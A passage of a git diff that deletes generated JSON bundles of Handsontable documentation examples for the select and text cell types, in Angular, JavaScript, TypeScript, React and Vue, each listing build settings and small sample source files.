\"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-select-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['2017', 'Honda', 10],\n ['2018', 'Toyota', 20],\n ['2019', 'Nissan', 30],\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colWidths: [70, 90, 80],\n colHeaders: ['Year', 'Make', 'In stock'],\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {},\n {\n type: 'select',\n selectOptions: ['Kia', 'Nissan', 'Toyota', 'Honda'],\n },\n {},\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/select-cell-type/angular/example1.ts","breadcrumb":["Cell Types","Select cell type"],"guide":"guides/cell-types/select-cell-type/select-cell-type.md","guideTitle":"Select cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/select-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__select-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__select-cell-type__javascript__example1.js.json deleted file mode 100644 index f9dce5cb..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__select-cell-type__javascript__example1.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Types ▸ Select cell type · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data: [\n ['2017', 'Honda', 10],\n ['2018', 'Toyota', 20],\n ['2019', 'Nissan', 30],\n ],\n colWidths: [70, 90, 80],\n colHeaders: ['Year', 'Make', 'In stock'],\n columns: [\n {},\n {\n type: 'select',\n selectOptions: ['Kia', 'Nissan', 'Toyota', 'Honda'],\n },\n {},\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/select-cell-type/javascript/example1.js","breadcrumb":["Cell Types","Select cell type"],"guide":"guides/cell-types/select-cell-type/select-cell-type.md","guideTitle":"Select cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/select-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__select-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__select-cell-type__javascript__example1.ts.json deleted file mode 100644 index 852b4b4d..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__select-cell-type__javascript__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Types ▸ Select cell type · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: [\n ['2017', 'Honda', 10],\n ['2018', 'Toyota', 20],\n ['2019', 'Nissan', 30],\n ],\n colWidths: [70, 90, 80],\n colHeaders: ['Year', 'Make', 'In stock'],\n columns: [\n {},\n {\n type: 'select',\n selectOptions: ['Kia', 'Nissan', 'Toyota', 'Honda'],\n },\n {},\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/select-cell-type/javascript/example1.ts","breadcrumb":["Cell Types","Select cell type"],"guide":"guides/cell-types/select-cell-type/select-cell-type.md","guideTitle":"Select cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/select-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__select-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__select-cell-type__react__example1.tsx.json deleted file mode 100644 index 96ac5f50..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__select-cell-type__react__example1.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Types ▸ Select cell type · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/select-cell-type/react/example1.tsx","breadcrumb":["Cell Types","Select cell type"],"guide":"guides/cell-types/select-cell-type/select-cell-type.md","guideTitle":"Select cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/select-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__select-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__select-cell-type__vue__example1.vue.json deleted file mode 100644 index 5a05b6ee..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__select-cell-type__vue__example1.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Types ▸ Select cell type · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/select-cell-type/vue/example1.vue","breadcrumb":["Cell Types","Select cell type"],"guide":"guides/cell-types/select-cell-type/select-cell-type.md","guideTitle":"Select cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/select-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__angular__example1.ts.json deleted file mode 100644 index 298adacf..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__angular__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Types ▸ Text cell type · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-text-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n { sku: '004821', category: '032', quantity: 142, unitPrice: 18.5 },\n { sku: '000093', category: '032', quantity: 0, unitPrice: 42.0 },\n { sku: '017640', category: '015', quantity: 67, unitPrice: 9.99 },\n { sku: '002210', category: '015', quantity: 310, unitPrice: 4.25 },\n { sku: '008875', category: '048', quantity: 24, unitPrice: 129.0 },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['SKU', 'Category code', 'Quantity', 'Unit price ($)'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n { data: 'sku', type: 'text' },\n { data: 'category', type: 'text' },\n { data: 'quantity', type: 'numeric' },\n { data: 'unitPrice', type: 'numeric' },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/text-cell-type/angular/example1.ts","breadcrumb":["Cell Types","Text cell type"],"guide":"guides/cell-types/text-cell-type/text-cell-type.md","guideTitle":"Text cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/text-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__angular__example2.ts.json deleted file mode 100644 index 441147d0..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__angular__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Types ▸ Text cell type · Adding a validator · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\nconst skuValidator = (value: string, callback: (isValid: boolean) => void) => {\n callback(/^\\d{6}$/.test(value));\n};\n\n@Component({\n selector: 'example2-text-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n { sku: '004821', supplier: 'Harbor Goods', quantity: 142 },\n { sku: '000093', supplier: 'Alpine Supply Co.', quantity: 0 },\n { sku: '017640', supplier: 'Harbor Goods', quantity: 67 },\n { sku: '002210', supplier: 'Crestline Wholesale', quantity: 310 },\n { sku: '008875', supplier: 'Alpine Supply Co.', quantity: 24 },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['SKU', 'Supplier', 'Quantity'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n { data: 'sku', type: 'text', validator: skuValidator, allowInvalid: false },\n { data: 'supplier', type: 'text' },\n { data: 'quantity', type: 'numeric' },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/text-cell-type/angular/example2.ts","breadcrumb":["Cell Types","Text cell type"],"guide":"guides/cell-types/text-cell-type/text-cell-type.md","guideTitle":"Text cell type","exampleId":"example2","exampleTitle":"Adding a validator","docPermalink":"/text-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__javascript__example1.js.json deleted file mode 100644 index d6ddc696..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__javascript__example1.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Types ▸ Text cell type · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example1');\nnew Handsontable(container, {\n data: [\n { sku: '004821', category: '032', quantity: 142, unitPrice: 18.5 },\n { sku: '000093', category: '032', quantity: 0, unitPrice: 42.0 },\n { sku: '017640', category: '015', quantity: 67, unitPrice: 9.99 },\n { sku: '002210', category: '015', quantity: 310, unitPrice: 4.25 },\n { sku: '008875', category: '048', quantity: 24, unitPrice: 129.0 },\n ],\n colHeaders: ['SKU', 'Category code', 'Quantity', 'Unit price ($)'],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n { data: 'sku', type: 'text' },\n { data: 'category', type: 'text' },\n { data: 'quantity', type: 'numeric' },\n { data: 'unitPrice', type: 'numeric' },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/text-cell-type/javascript/example1.js","breadcrumb":["Cell Types","Text cell type"],"guide":"guides/cell-types/text-cell-type/text-cell-type.md","guideTitle":"Text cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/text-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__javascript__example1.ts.json deleted file mode 100644 index a316e422..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__javascript__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Types ▸ Text cell type · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: [\n { sku: '004821', category: '032', quantity: 142, unitPrice: 18.5 },\n { sku: '000093', category: '032', quantity: 0, unitPrice: 42.0 },\n { sku: '017640', category: '015', quantity: 67, unitPrice: 9.99 },\n { sku: '002210', category: '015', quantity: 310, unitPrice: 4.25 },\n { sku: '008875', category: '048', quantity: 24, unitPrice: 129.0 },\n ],\n colHeaders: ['SKU', 'Category code', 'Quantity', 'Unit price ($)'],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n { data: 'sku', type: 'text' },\n { data: 'category', type: 'text' },\n { data: 'quantity', type: 'numeric' },\n { data: 'unitPrice', type: 'numeric' },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/text-cell-type/javascript/example1.ts","breadcrumb":["Cell Types","Text cell type"],"guide":"guides/cell-types/text-cell-type/text-cell-type.md","guideTitle":"Text cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/text-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__javascript__example2.js.json deleted file mode 100644 index 5d5ae6e7..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__text-cell-type__javascript__example2.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Types ▸ Text cell type · Adding a validator · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm 